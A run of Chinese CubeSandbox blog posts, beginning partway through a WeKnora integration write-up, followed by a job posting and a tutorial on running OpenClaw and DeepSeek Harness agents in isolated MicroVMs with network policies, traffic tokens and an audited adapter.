广告，不用 if cube。 * 会话级沙箱 + Redis 绑定 + 生命周期锁。 * 租户可控 URL 的 SSRF：保存时校验 + 拨号时再校验（防 DNS rebinding）；即便允许私网，也拦 link-local / 云 metadata。 * 技能装进快照、会话从快照启动；ledger 先写再 CreateSnapshot。 * 脚本和非 root user（uid 1000）执行；安装才走 root 的独立接口。 * 工作目录锁在 /workspace，技能树在 /opt/weknora/tenant/skills，快照前清 scratch。 预埋设计里，网络策略的处理值得单独说明。Cube 的网络控制有两个开关，分别管两个正交的维度：allowInternetAccess 管出站——沙箱能不能主动出公网，curl/pip 通不通由它叠加 allowOut/denyOut/L7 规则决定；allowPublicTraffic 管入站——沙箱的公网 URL 是否公开可达，关掉后所有入站必须带 traffic token，否则 403。WeKnora 在创建每个沙箱时把两个开关都显式定值，防的是默认漂移——配置里省略不写，服务端就回落模板默认，模板一变，线上行为跟着变。其中 allowPublicTraffic 显式 true 是刚需：WeKnora 的文件、执行、终端全走 CubeProxy 数据面 URL，关掉它，自家访问先被 403 挡住。现状是出站默认全放行——这是有意识的起点选择，技能安装要拉包，先保证通；细粒度的按空间/会话出站白名单还在收紧的路上。 另一部分，则是运行过程中我们踩过坑，沉淀出来的经验： * Cube 模板必须带 envd，否则 :49983/health 探活 connection refused——于是有独立的 -cube 镜像变体。 * 快照混进模板列表，设置页要滤掉 snap- 前缀。 * ListSnapshots 分页 token 循环重复会失败，技能孤儿清理曾因此卡死。 * 通用 E2B 数据面兼容：envd 要 Basic auth、要补 X-User-ID 头，上传要 multipart 而 SDK 发裸 octet-stream——E2B Cloud 宽容，其它实现直接 401/500。 * 设置页保存曾把 SkillImage 指针冲掉，技能「列表里在、会话里没有」——更新接口现在不允许客户端碰快照字段和端点。 * 一轮中途拆 VM 毁 /workspace——轮次租约。 * 命名配置字段级继承曾悄悄拨到 127.0.0.1——改为命名配置自包含，不继承部署基线的 endpoint。 * 命令黑名单连 `pip install` 的恢复建议一起拦——改成技能装完即只读、内核拒写，失败后再提示走 overlay。 对于同样在做 Agent 平台的团队，我们建议先验证以下八件事（按"技能持久化"这条路径，而不是"能 exec 就行"）： 1. 快照 ID 能否直接当模板创建新沙箱、快照是否混在模板列表里； 2. 对运行中实例打快照，打完原沙箱还能不能用、pause 期间打快照稳不稳； 3. pause 加 Connect 自动 resume，文件系统和内存还在不在、paused 实例是否仍计费、怎么 List 到； 4. Create 时的 metadata 能否按租户/会话 List 回来——没有这条，多副本和崩溃恢复只能靠自己的绑定库碰运气； 5. 出网双开关是否真如文档所说正交生效、私网里 DNS 是否可用； 6. 数据面 envd 契约——Basic auth、multipart 上传、非 root 账号，不要只测官方网关，它更宽容； 7. 镜像里有没有 envd，没有会在健康检查上直接失败； 8. 分页、删除幂等、名字回显——技能镜像是账单资源，进程死在"已创建、未落库"窗口时，必须能按名字认领或按 List 对账。 在架构层面，WeKnora 目前仍然缺少的能力包括：Create 时挂 volume（Cube 的 CreateOptions 还没有 volume-mount 字段，共享数据集、热更新大文件目前没有这条路）；快照与模板分目录（混在一起污染"选底模"的产品体验，也增加误删风险）；pause/超时的应用层回调（现在只能自己扫 List，TTL 到了 WeKnora 不会被通知，孤儿只能周期性对账）；以及按会话身份的一等公民——Cube 管 VM，不管"这是哪个 session 的"，绑定、租约、stale、孤儿全在应用侧。如果控制面能原生认 metadata 所有权、按策略回收未认领实例，Redis 这层可以瘦很多。 **WeKnora 项目地址：**<https://github.com/Tencent/WeKnora> --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-30-cubesandbox-hiring.md description: >- CubeSandbox 开源五个月，收获了来自不同时区开发者的 12,000+ 颗 Star。AI Agent 时代正在到来，我们想找一个一起造底座的人：腾讯云 CubeSandbox 弹性计算平台研发工程师（深圳），全链路研发，从支撑内部业务到和开源社区共建。 --- # 全球招聘｜给全世界的 AI Agent 造底座，缺一个你 五个月前，我们把 CubeSandbox 开源了。 今天，它的脚印已经落在世界各地——中国、日本、印度、伊朗、加拿大、墨西哥、意大利、新加坡…… 12,000+ 颗 Star，来自不同时区的开发者。 但我们觉得，这只是开始。 AI Agent 时代正在到来。每一个 Agent 写出的代码、执行的命令、打开的文件，都需要一个安全的地方运行。 这就是沙箱的使命：为全世界的 AI Agent，打造更快、更稳、更高效的底座运行环境。 **CubeSandbox 要做的，是把这样的沙箱提供给全世界——用更快、更好、更稳的产品与技术，辐射到更多的国家和地区。** 这件事很大，所以，我们想找一个一起造它、一起筑梦的人。 ## 岗位详情 **腾讯云 - CubeSandbox 弹性计算平台研发工程师（深圳）** * **BG**：CSIG 云与智慧产业事业群 * **职位类别**：技术 / 技术研发类 * **工作地点**：深圳 **岗位职责：** 1. 负责 CubeSandbox 弹性计算平台全链路的需求研发和性能、质量保证，包括但不限于管控面、调度、虚拟化、存储、网络、底层系统软件等； 2. 支撑腾讯云 CubeSandbox 内部的业务需求及外部开源社区的日常研发维护； 3. 持续基于 CubeSandbox 平台探索 Agent 对 Infra 的新需求。 **岗位要求：** 1. 计算机相关专业，本科及以上学历，3 年以上相关工作经验； 2. 扎实的系统编程能力（Rust / Go / Python），对代码和架构有简洁易维护的良好审美； 3. 热衷于探索系统运行的基本原理，对于新鲜技术有着浓烈的好奇心并可以长期持续跟踪； 4. 对于计算机体系结构 / 网络 / 存储 / 虚拟化 / 调度其中某一方面有大规模的实际项目经验，或对于性能有极致追求； 5. 良好的团队协作和问题攻坚能力。 投递简历，或者如果对岗位有疑问，请发送邮件到 **cubesandbox@tencent.com**。 也欢迎转发给你想到的任何一个人。 从深圳到东京，从多伦多到米兰——好的基础设施没有国界。 我们希望有一天，世界各地的每一个 Agent，都跑在我们造的底座上。 来，加入我们，一起把这件事做成。 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-30-openclaw-dsh.md description: >- OpenClaw 和 DeepSeek Harness（DSH）不只是聊天页面，企业接入时要回答四个问题：执行是否安全、环境是否可复现、空闲资源能否回收、用户下一轮回来时是否足够顺滑。本文用一个部署在 Kubernetes 上的 CubeSandbox v0.7.0 集群，跑通 OpenClaw 和 DSH 通过 Skill 与 Tool Plugin / Cordis Plugin 创建 MicroVM、执行代码并自动销毁的四条真实链路。 --- # 用 CubeSandbox 增强 OpenClaw 与 DSH：企业安全执行面实战 作者｜runzhliu > 本文首发于作者 aik8s 博客及公众号，经作者同意及授权，Cube Sandbox 公众号对原文进行转载，并做了少量适配性修改编辑。 OpenClaw 和 DeepSeek Harness（DSH）都不只是聊天页面。它们能读写文件、运行 Shell、调用浏览器、安装依赖并长时间保存会话。能力越接近真实开发机，企业越不能只问"能不能跑"，还要回答四个问题：执行是否安全、环境是否可复现、空闲资源能否回收、用户下一轮回来时是否足够顺滑。 带着这四个问题，我们用一个已经部署在 Kubernetes 上的 CubeSandbox v0.7.0 集群跑通四条真实链路：OpenClaw 2026.7.1 和 DSH 0.1.1-rc.2 分别通过 Skill，以及不读取 Skill 的 Tool Plugin / Cordis Plugin，创建 MicroVM、执行代码并自动销毁。这篇文章记录了验证的完整过程。 ## 一、先确定边界：Agent 是控制面，Sandbox 是执行面 推荐架构如下： ![推荐架构：Agent 是控制面，Sandbox 是执行面](./assets/2026-09-30-openclaw-dsh/01-architecture.jpg) *图 1：推荐架构——Agent 是控制面，Sandbox 是执行面* 这条边界很重要： * OpenClaw / DSH 保留会话事实、用户身份、模型调用和审批记录； * CubeSandbox 只拿到当前任务必需的工作区、资源、网络和短期身份； * Sandbox 被攻破时，攻击者仍要跨过独立 MicroVM、出站策略和工具授权，才能影响其他会话或控制面； * Sandbox 销毁不应删除 OpenClaw 状态目录或 DSH\_HOME，两者属于不同生命周期。 如果把 Gateway、插件、模型密钥、浏览器 Profile 和不可信代码都放进同一个长期运行容器，MicroVM 的隔离价值会被大幅削弱。 ## 二、它具体让 OpenClaw / DSH 好在哪里 ### 2.1 更安全：从"限制目录"升级为"隔离执行世界" DSH 自带的 dsh-sandbox 面向同一操作系统中的进程限制。官方说明它通过 bwrap、Landlock、Seatbelt 等机制控制文件副作用；容器、MicroVM 和远端执行并不是这个 seam 的 backend，而是要替换整组 Shell 与文件能力。 OpenClaw 启用 Sandbox 后，Gateway 仍留在宿主环境，工具执行可以进入 Docker、SSH 或 OpenShell backend。官方同样强调，这不是完美安全边界；插件和 Gateway 进程仍属于可信控制面。 CubeSandbox 增加的是另一层执行边界： * 每个沙箱使用独立 MicroVM 内核； * 每个会话拥有独立 rootfs、进程、网络和生命周期； * 出站可以完全关闭，或按 CIDR、域名、协议、Host、Path、SNI 控制； * 公开入口可以要求 per-sandbox traffic token； * L7 代理可以只向允许的目标注入凭据，真实 Token 不必进入沙箱环境变量。 但 MicroVM 不能替代工具授权。模型是否可以调用 kubectl、删除仓库、提交代码或访问生产 API，仍要由 OpenClaw / DSH 和企业 Tool Gateway 决定。 ### 2.2 更快：模板和快照消除重复准备 企业 Agent 最影响体验的往往不是模型首 Token，而是执行环境准备：拉镜像、安装 Node/Python、恢复工作区、启动浏览器、重新建立工具连接。 CubeSandbox 可以把这些动作前移： * 把 Git、Python、Node、浏览器和企业 CA 固定进模板； * 用模板 alias 管理环境版本，避免每个 Agent 自己安装； * 空闲时 Pause，释放 CPU 和内存； * 下一轮 Resume，恢复文件系统和 MicroVM 内存； * 用 Snapshot、Rollback 和 Clone 支持并行尝试与快速回退。 本次 READY 模板的单次创建样本为 134 ms。Pause 与 Resume 是秒级，是否比重新创建更快取决于模板大小、快照后端、节点缓存和并发，因此要用真实工作区测试，不能直接套用这一个数字。 ### 2.3 更顺滑：会话与沙箱生命周期一一映射 用户希望的是"过一会继续做"，而不是理解 Pod、容器和 VM。适配层应把底层状态隐藏起来： 控制面至少持久化这些字段： | 字段 | 用途 | |:--|:--| | tenant\_id / user\_id / session\_key | 确定租户与会话归属 | | sandbox\_id | 连接或回收 MicroVM | | traffic\_access\_token | 访问受保护的数据面；加密保存 | | template\_alias / Digest | 保证环境可复现 | | network\_profile | 记录实际出站策略 | | state / last\_seen\_at | Pause、Resume、Kill 与回收 | | request\_id / trace\_id | 串联 Agent、API、代理和审计日志 | 所有生命周期操作都要幂等。创建成功但数据库写入失败、恢复超时、客户端断线和重复回调都不能留下无人认领的沙箱。 ### 2.4 更适合企业平台：控制面和执行面可以分别扩展 OpenClaw / DSH Runtime 的压力来自模型流、会话、渠道和插件；CubeSandbox 的压力来自 VM 创建、CPU、内存、快照和网络。拆分后可以分别扩展、限流和升级： * Runtime Pool 按业务、部门或信任域拆分； * Sandbox Node Pool 按普通代码、浏览器、数据分析或 GPU 模板拆分； * 企业控制面统一下发模板、网络、配额和 TTL； * 一个 Runtime 不再需要本地 Docker Socket，也不需要把宿主目录直接交给 Agent。 ## 三、OpenClaw 与 DSH 应该怎样接 ### 3.1 OpenClaw：三条路径 | 路径 | 实现 | 优点 | 局限 | 建议 | |:--|:--|:--|:--|:--| | 官方 CubeSandbox Skill | Agent 按 Skill 指引调用 Cube SDK | 上手最快，已有官方示例 | 不是 OpenClaw 原生 backend；普通 exec 仍可能走其他执行面 | PoC | | 企业 Adapter / Plugin Tool | 注册受审计的 cube\_exec、cube\_read、cube\_write、cube\_release | 参数和策略可控，容易加租户、审计和配额 | 需要维护少量适配代码；当前参考实现还没有 PTY | 推荐起点，本文已实测 | | 整个 OpenClaw 运行在 CubeSandbox | 用 Digital Assistant / AgentHub 从 OpenClaw 模板创建助手 | 助手可快照、回滚、克隆 | 当前是 Preview；Runtime、状态和执行边界容易重新混在一起 | Demo、个人助手和早期验证 | CubeSandbox 官方仓库已经提供 examples/openclaw-integration Skill，适合验证"Agent 能否主动把代码放进 MicroVM"。企业版本更适合把 SDK 调用封装成固定 Plugin Tool：模型只提供命令、文件和策略档位，不能自由拼接 CubeAPI 管理请求。本文已经按 OpenClaw 官方 defineToolPlugin 接口实现并跑通这条路径，代码见 [openclaw-plugin](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct/openclaw-plugin)。 OpenClaw 当前公开文档列出的内置 Sandbox backend 主要是 Docker、SSH 和 OpenShell，不能把 CubeSandbox 当作已经原生支持的第四种 backend。若没有经过验证的 backend 接口，先注册独立 Cube 工具并对不可信会话禁用宿主 exec，比深度修改 Gateway 更容易跟随上游升级。 ### 3.2 DSH：先用 Cordis Tool Plugin 硬路由，再演进到 Provider DSH 的可组合设计很适合接远端执行面，但接入位置要正确： | DSH 能力 | CubeSandbox 映射 | |:--|:--| | ctx.shell | sandbox.commands.run() | | ctx.fs | sandbox.files.read/write/list/... | | ctx.terminals | sandbox.pty | | 代码解释器 | sandbox.run\_code() | | Session 初始化 | Sandbox.create() 或连接现有实例 | | 空闲回收 | lifecycle.on\_timeout=pause/kill | | 任务取消 | 终止 command / PTY，必要时 Kill Sandbox | DSH 的审批、read-only / workspace-write / danger-full-access 语义仍留在控制面。Provider 根据已批准策略决定要调用哪一个沙箱能力；CubeSandbox 再执行资源、网络和 MicroVM 隔离。 本文先实现了一个可落地的中间层：Cordis Plugin 通过 ctx.tools.register 注册四个 Cube 工具，并用 Profile Patch 禁用 tool-bash、tool-pwsh、tool-fs、tool-fs-search 和 tool-str-replace-editor，强制模型的命令与文件操作只走 Adapter。代码见 [dsh-plugin](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct/dsh-plugin)。它已经摆脱 Skill 和宿主包装脚本，但工具名仍是 cube\_\*，还不是对 DSH 原有 Bash / Editor / Terminal 的透明替换。 不要只把 CubeSandbox 实现成 ctx.sandbox。DSH 官方明确把这个接口定义为 same-world confinement；最终的远端 MicroVM Provider 应替换环境一致的一组 Shell、文件和终端能力，否则同一轮工具可能一半在本机、一半在 VM，工作目录和权限语义会失真。 ## 四、WebUI 中已经能看到 OpenClaw 方向 CubeSandbox v0.7.0 WebUI 的"数字助手"页面已经把 OpenClaw 助手、模型服务、助手模板和团队共享放进同一入口。页面也清楚标注了 Preview，适合演示和早期验证，不应把它误写成已稳定的企业多租户控制面。 ![CubeSandbox WebUI 的数字助手页面](./assets/2026-09-30-openclaw-dsh/02-webui-digital-assistant.jpg) *图 2：CubeSandbox WebUI 的数字助手页面* 如果选择这条路径，仍要在外围补齐 SSO、租户、审批、模型与工具目录、预算、审计和发布流程。更稳妥的生产形态通常是：企业控制面管理多个受控 OpenClaw / DSH Runtime，Runtime 再调用 CubeSandbox 执行面。 ## 五、实战：验证一个 Agent 会话需要的完整链路 ### 5.1 前置条件 实验使用： * Kubernetes v1.30.x； * CubeSandbox v0.7.0； * 一个 READY 的 sandbox-code 模板 alias； * 本机可以访问 CubeAPI 和 CubeProxy； * Python SDK 固定为 cubesandbox==0.7.0。 生产环境应使用受信任 DNS、TLS 和 API Key。下面的 127.0.0.1 只代表通过 kubectl port-forward 建立的本地实验入口： 准备 SDK： 这里没有设置 CUBE\_PROXY\_SCHEME：cubesandbox==0.7.0 的 Python SDK 不读取这个变量。连接参数升级后也要回到对应版本 SDK 源码或官方说明核对，不能凭其他语言 SDK 的变量名推断。 仓库中的完整脚本是 [scripts/cubesandbox\_openclaw\_dsh\_smoke.py](https://github.com/runzhliu/aik8s/blob/main/scripts/cubesandbox_openclaw_dsh_smoke.py)。它不启动 OpenClaw 或 DSH，而是直接验证两者的 Adapter 必须依赖的执行面契约。 ### 5.2 创建一个受控会话沙箱 核心创建参数如下： 这些字段对应一个合理的企业默认值： * 会话空闲后暂停，而不是一直占用计算资源； * 不允许任意访问公网； * 外部访问沙箱服务必须携带 traffic token； * metadata 只放追踪和策略标签，不放用户隐私或密钥。 Chrome 中可以看到实时运行数变成 1。截图只保留计数区域，沙箱 ID、模板 ID 和节点地址均已裁掉： ![WebUI 实时运行数变成 1](./assets/2026-09-30-openclaw-dsh/03-running-count.jpg) *图 3：WebUI 实时运行数变成 1* ### 5.3 执行 Shell、文件和 Python 测试模板中的 command 默认以 Guest UID 0 运行。MicroVM 内的 root 不等于宿主机 root，但企业模板仍应优先使用非 root 用户、最小软件集和只读基础层，避免在 Guest 内无意义地扩大权限。 ### 5.4 验证出站和入站边界 脚本尝试从沙箱连接公网地址，结果失败，因此 allow\_internet\_access=False 生效。 随后直接访问沙箱数据面健康端点： | 请求 | 返回 | |:--|:--| | 不带 e2b-traffic-access-token | 403 | | 携带创建时返回的 token | 204 | 这证明"知道沙箱域名或 ID"不足以访问受保护服务。生产中还要同时限制 CubeProxy 网络入口，并加 TLS、API 鉴权、速率限制和审计。 ### 5.5 暂停、恢复并验证状态 本次结果： * 文件内容在 Resume 后仍是 session=demo, turn=1； * Python 内存变量从 41 继续递增到 42； * Pause 约 2.18 s； * Resume 约 2.72 s。 可观测性页面同时显示一个运行中沙箱。截图结束后该临时沙箱已经销毁： ![可观测性页面显示一个运行中沙箱](./assets/2026-09-30-openclaw-dsh/04-observability.jpg) *图 4：可观测性页面显示一个运行中沙箱* ### 5.6 实测输出 脚本输出经过脱敏后如下： finally 中始终调用 kill()。完成截图后又调用 Sandbox.list()，集群沙箱数为 0。 ## 六、两个真实故障：决定体验是否"丝滑"的细节 ### 6.1 fresh install 的 CubeProxy admin token 可能不一致 第一次执行 Pause → Resume 时，恢复失败： v0.7.0 Chart 的 helper 注释已经解释原因：当 lifecycleManager.adminToken 为空时，全新安装的单次渲染可能让 release Secret 和 CubeMaster 配置各自生成一次随机值；下一次 Helm upgrade 才会通过 lookup 复用已存在的 Secret。 实验环境使用原值升级，并让通过 subPath 挂载配置的 CubeMaster 重启： 生产安装更稳妥的做法是在发布系统中生成至少 16 字符的随机值，安全注入 lifecycleManager.adminToken，确保同一次渲染只有一个来源；不要把真实 Token 提交到 Git。 修复后可以只比较摘要，不输出 Token 本身： 还要注意：Secret 内容更新不代表使用 subPath 的进程已经读取新文件。没有触发 Pod Template checksum 时，应显式滚动 CubeMaster。 ### 6.2 connect() 后不能丢失 traffic token 开启 network.allow\_public\_traffic=false 后，v0.7.0 Python SDK 只在 create() 响应中返回 traffic token。Sandbox.connect() 返回的新对象不包含它；如果 Adapter 只保存 sandbox\_id，恢复后的文件与命令调用会被 CubeProxy 以 403 拒绝。 因此企业 Adapter 必须： 1. 创建时同时保存 sandbox\_id 与 traffic\_access\_token； 2. Token 在数据库中加密，日志和 Trace 中只保留摘要； 3. 每个数据面请求都携带 Token； 4. Kill 后立即删除映射与 Token； 5. SDK 升级后重新验证 Connect / Resume 行为。 本次脚本使用保留原始 SDK 对象的 resume() 完成测试，所以原 traffic token 仍在内存中。跨进程恢复时不能依赖这一点。 ## 七、企业 Adapter 的最小设计 不要一开始就实现完整 IDE、浏览器和所有 E2B API。第一版只需覆盖 OpenClaw / DSH 最常用的五个操作： 这次已经把最小设计写成可运行参考实现：[examples/cubesandbox-openclaw-dsh-direct](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh-direct)。调用关系不是"Plugin 直接持有 Cube 管理权限"，而是： Adapter 当前实现了这些防线： * 模型只能请求平台预置的 offline-code，不能传模板 ID、CIDR、公开流量或生命周期配置； * 会话键只在 Runtime 与 Adapter 之间传递，落日志的是带密钥的 HMAC-SHA-256 摘要； * 文件限制在 /workspace 与 /tmp，拒绝路径穿越，并限制请求、命令、文件、输出和超时大小； * Cube API Key、traffic token 和完整 Sandbox ID 只留在 Adapter；opaque lease 只在 Plugin 与 Adapter 的控制链路流转，模型结果只返回 8 字符 sandbox\_ref； * 审计只记录 Runtime、动作、短引用、请求 ID、耗时、结果和命令/路径摘要，不记录命令正文、文件内容、stdout、stderr 或 Token； * /audit 演示页默认关闭，生产应把 JSONL 送进不可变审计管道。 这仍是参考实现，不是现成的多租户控制面。租约目前保存在进程内，因此示例 Deployment 明确只运行 1 个副本；做高可用前必须把 lease、加密 traffic token 与 owner fencing 放进持久化服务，或让会话稳定路由到唯一 owner。当前也没有 PTY、流式输出、取消、租户配额、审批回调和跨进程恢复，不能仅凭一次实测就宣称已生产就绪。 ### 7.1 策略档位 不要让模型自由提交任意 CIDR 和 host mount。由平台维护有限的策略档位： | Profile | 网络 | 工作区 | 适合场景 | |:--|:--|:--|:--| | offline-code | 完全断网 | 临时卷 | 数据处理、未知脚本 | | repo-build | 只允许内部 Git、软件镜像和制品库 | Session Volume | 编译与测试 | | web-research | 仅 HTTP/HTTPS，经 L7 审计 | 临时卷 | 浏览与资料提取 | | model-tool | 只允许 Model / Tool Gateway，代理注入凭据 | 临时卷 | Agent 子任务 | | approved-release | 仅批准的发布端点 | 受控 Volume | 需要人工审批的发布任务 | 模型可以请求某个 Profile，最终选择由策略引擎和人工审批决定。 ### 7.2 状态与工作区 推荐把状态分开： 不要把完整宿主 home、SSH 目录、云凭据目录或 Docker Socket 挂进 MicroVM。确实需要共享数据时，使用只读 Volume、对象存储或受控上传接口。 ### 7.3 凭据 优先顺序应是： 1. Tool Gateway 根据用户和动作签发短期身份； 2. CubeEgress 只向匹配的 HTTPS Host / SNI 注入 Header； 3. 只读文件或内存注入短期 Token； 4. 最后才考虑环境变量。 模型 API Key、Git Token 和云凭据不应写进模板、快照、命令行、metadata 或普通日志。 ## 八、用 CubeSandbox 具体怎么玩 OpenClaw 与 DSH 下面不是功能清单，而是从十分钟 PoC 到企业 Adapter 的实际玩法。每一项都给出操作、提示词和验收点。 ### 8.1 OpenClaw 实战：模型自动调用 Skill，在 MicroVM 内执行 CubeSandbox 官方仓库已经提供 OpenClaw Skill。先把它安装到目标 OpenClaw workspace： Skill 本身不是一个远程执行协议，也不会自动改写 OpenClaw / DSH 的 Shell Provider。它的原理是：Runtime 把 SKILL.md 作为操作说明提供给模型，模型再调用宿主工具启动包装脚本；包装脚本使用 Cube SDK，SDK 根据 CUBE\_API\_URL 访问 CubeAPI，并通过 CUBE\_PROXY\_NODE\_IP / CUBE\_PROXY\_PORT\_HTTP 访问 Sandbox 数据面，最终由 CubeSandbox 调度 MicroVM 执行任务。因此，看到模型"读了 Skill"只能证明它选择了这套操作说明，还要用 Sandbox 实时实例、SDK 结果和清理状态证明任务确实进入 MicroVM。 再把 CubeAPI、CubeProxy、Template 和 API Key 作为 OpenClaw 进程环境配置，不要写进 SKILL.md 或 Agent Prompt。官方示例使用 E2B 兼容环境变量；新项目也可以直接使用 cubesandbox SDK。 本文还提供了一个只保留执行、断网验证和清理逻辑的[最小 OpenClaw Skill](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh/openclaw-skill/cube-sandbox)。它把用户代码写进远端 MicroVM，包装脚本本身只接收代码和平台预置策略，不允许模型自己拼装 CubeAPI 管理请求。 给 OpenClaw 一个明确任务： 验收时不要只看最终数字，还要检查： * CubeSandbox WebUI 的运行中数量从 0 → 1 → 0； * Agent 没有在 OpenClaw Gateway 本地创建 /tmp/input.py； * allow\_internet\_access=false 确实阻止连接； * 异常路径仍执行 Kill。 这条路径适合十分钟 PoC。它通常仍需要 OpenClaw 在本地用 exec 启动 Python SDK，因此不能把"安装了 Skill"当成宿主执行已经关闭。企业版应继续封装 Plugin Tool。 这次不是只验证包装脚本，而是启动了完整 OpenClaw Gateway 和 Control UI： * OpenClaw：2026.7.1 官方容器镜像； * 模型：openai/gpt-5.6-sol，通过官方支持的 ChatGPT / Codex 设备登录； * Skill：以 openclaw-workspace 来源加载，状态为 eligible=true、modelVisible=true； * Cube SDK：cubesandbox==0.7.0； * 模板 alias：agent-code； * 网络策略：禁止公网出站，禁止公开流量。 在 Chrome 的 OpenClaw Control UI 中发送上面的任务后，模型先读取 SKILL.md，再调用包装脚本。页面中的 Activity: 2 tools 是真实工具活动，不是事后拼接的日志： ![OpenClaw Control UI 中的工具活动](./assets/2026-09-30-openclaw-dsh/05-openclaw-activity.jpg) *图 5：OpenClaw Control UI 中的工具活动* 展开工具活动可以看到两次 Bash 调用：第一次读取 Skill，第二次运行 cube\_agent\_task.py。用户 Python 代码没有在 Gateway 容器本机执行： ![两次 Bash 调用的展开细节](./assets/2026-09-30-openclaw-dsh/06-openclaw-tools.jpg) *图 6：两次 Bash 调用的展开细节* 本次 Agent 会话的实际结果为： 任务完成后再次调用 Sandbox.list()，返回空列表。由此可以同时证明：OpenClaw 真的选择了 Skill、代码真的进入 MicroVM、断网策略生效、异常安全清理路径没有留下活动沙箱。 ### 8.2 OpenClaw 玩法二：一会话一沙箱，隔天回来还能继续 实现一个内部 Plugin，固定暴露以下工具： Plugin 从当前 OpenClaw sessionKey 查 lease，模型不直接传 sandbox\_id 或 traffic token。建议流程： 1. 第一次收到代码任务时创建 Sandbox； 2. 把 sessionKey → sandbox\_id + encrypted token 写入租约表； 3. 每次工具调用刷新 TTL； 4. 空闲五分钟自动 Pause； 5. 下一条消息自动 Resume； 6. 用户关闭会话、管理员回收或最长生命周期到期时 Kill。 可以用两轮对话验证"丝滑感"： 通过条件：第二轮不重新上传项目，能够读取第一轮文件；WebUI 出现 paused → running；OpenClaw 重启后仍能通过租约表找回同一会话。 对不可信群聊，可以禁用宿主 exec/read/write，只保留经过审计的 Cube 工具；主会话是否允许更高权限，应由独立 Tool Policy 决定，不要只靠提示词。 ### 8.3 OpenClaw 玩法三：Digital Assistant 做快照、克隆与回滚 CubeSandbox WebUI 的数字助手路线会把整个 OpenClaw Runtime 做成助手模板： 1. 在"模型服务设置"配置 Provider、Base URL、Model 和受管 API Key； 2. 从模板市场准备轻量版或 all-in-one OpenClaw 助手模板； 3. 创建个人助手； 4. 安装 Skill、配置渠道或修改 Agent 指令； 5. 在稳定点创建 Snapshot； 6. 修改失败时 Rollback； 7. 从稳定快照 Clone 一个新助手，再比较两套配置。 适合玩的实验包括： 1. 一个基础助手克隆出"研发""运维""数据分析"三个角色； 2. Skill 升级前做快照，验证失败后秒级回退； 3. Clone 两个实例分别使用不同模型或 Prompt，做 A/B 评测； 4. 把个人实例转成团队共享前检查密钥、记忆和浏览器 Profile 是否被错误继承。 本次只在真实 WebUI 中验证了页面与准备步骤，没有配置模型 Key、没有创建 OpenClaw 实例。官方明确把 Digital Assistant 标为 Preview，这部分属于下一阶段实验，不列入本文"已通过"结果。 ### 8.4 DSH 实战：DeepSeek V4 Pro 自动加载 Skill 并调用包装工具 DSH 同样可以先走轻集成：给它一个 Skill，要求遇到不可信 Shell、仓库或附件时调用固定的 cube-run 包装工具。包装工具内部使用 Cube SDK，DSH 只看到稳定参数： 一个适合实际玩的提示词： 这一步改动小，适合先验证网络、文件语义和长命令输出。它的缺点是 DSH 内置的 Shell、文件工具与 cube-run 是两套表面，模型可能选错。要做到无感，下一步应写 Provider。 本文的真实验证使用正在运行的 DSH 0.1.1-rc.2，在 Chrome WebUI 新建会话并选择 DeepSeek V4 Pro。安装的[最小 DSH Skill](https://github.com/runzhliu/aik8s/tree/main/examples/cubesandbox-openclaw-dsh/dsh-skill/cube-sandbox)与 OpenClaw 版本遵守同一个结果契约。模型按以下顺序完成任务： 1. 根据提示自动调用 Skill cube-sandbox； 2. 读取包装脚本，确认参数和 finally 清理； 3. 调用 Bash 运行脚本； 4. 等待 CubeSandbox 返回结构化 JSON； 5. 用中文整理执行器、结果、断网状态、创建耗时和清理结果。 对话页同时保留 Skill、Read、Bash 三类活动和最终结果： ![DSH 对话页保留三类活动和最终结果](./assets/2026-09-30-openclaw-dsh/07-dsh-conversation.jpg) *图 7：DSH 对话页保留三类活动和最终结果* DSH 的轨迹页能把 Input、Model、Tools 放在同一时间线上。工具行中可以看到 Skill 加载、脚本读取、Bash 调用以及返回给模型的 JSON： ![DSH 轨迹页的时间线](./assets/2026-09-30-openclaw-dsh/08-dsh-trajectory.jpg) *图 8：DSH 轨迹页的时间线* 本次 DSH Agent 会话的实际结果为： 为了避免只凭最终回答判断，又让 DSH 执行了一次 60 秒保持任务。轨迹中可以看到 Skill、脚本读取、Bash 工具结果和 sandbox\_ref=7fddceaa；保持期间，CubeSandbox WebUI 同时出现前缀、后缀一致的运行中 Sandbox： ![DSH 60 秒保持任务的轨迹](./assets/2026-09-30-openclaw-dsh/09-dsh-hold-result.jpg) *图 9：DSH 60 秒保持任务的轨迹* ![WebUI 中前缀、后缀一致的运行中 Sandbox](./assets/2026-09-30-openclaw-dsh/10-dsh-hold-webui.jpg) *图 10：WebUI 中前缀、后缀一致的运行中 Sandbox* 这证明 DSH 可以先不改 Runtime 核心，通过 Skill 把一类高风险任务显式路由到 CubeSandbox。它仍是轻集成：若要让 Bash、编辑器和 Terminal 默认处于同一个远端工作区，需要继续实现下一节的原生 Provider。 ### 8.5 不经过 Skill：OpenClaw / DSH 直接调用受控 Adapter Skill 路线证明了模型会主动选择 CubeSandbox，但它通常还需要宿主 Bash 启动包装脚本。为了证明"没有 Skill 也能真的创建 MicroVM"，这次实现了共享 Adapter 和两个 Runtime Plugin： * adapter：唯一持有 Cube SDK 配置、完整 Sandbox ID 和 traffic token； * openclaw-plugin：使用 OpenClaw 官方 defineToolPlugin； * dsh-plugin：使用 Cordis ctx.tools.register，并附带禁用宿主工具的 Patch； * deploy/kubernetes.yaml：单副本、非 root、只读 rootfs、Secret 与 NetworkPolicy 的参考清单。 Adapter 对 Runtime 暴露的是 HTTP API，内部再调用 cubesandbox==0.7.0 SDK： 所有写请求都要求 Bearer Token；生产应再通过 Service Mesh 或 Gateway 加 mTLS、工作负载身份、速率限制与授权。acquire 按 (runtime, HMAC(session\_key)) 幂等，因此同一会话的 exec/read/write 进入同一个 MicroVM。Plugin 需要内部 lease 才能调用下一步，但 lease、完整 Sandbox ID 和 traffic token 都不进入模型结果。 启动 Adapter 的最小方式如下，Token 应来自 Secret Manager： CUBE\_ADAPTER\_HMAC\_KEY 应与 Bearer Token 分开管理：前者保持审计关联稳定，后者可以常规轮换。两者都不应出现在插件配置、模型上下文或普通日志中。 **OpenClaw Tool Plugin 实测** 安装后要同时允许插件和它注册的工具： 如果已有 plugins.allow 或 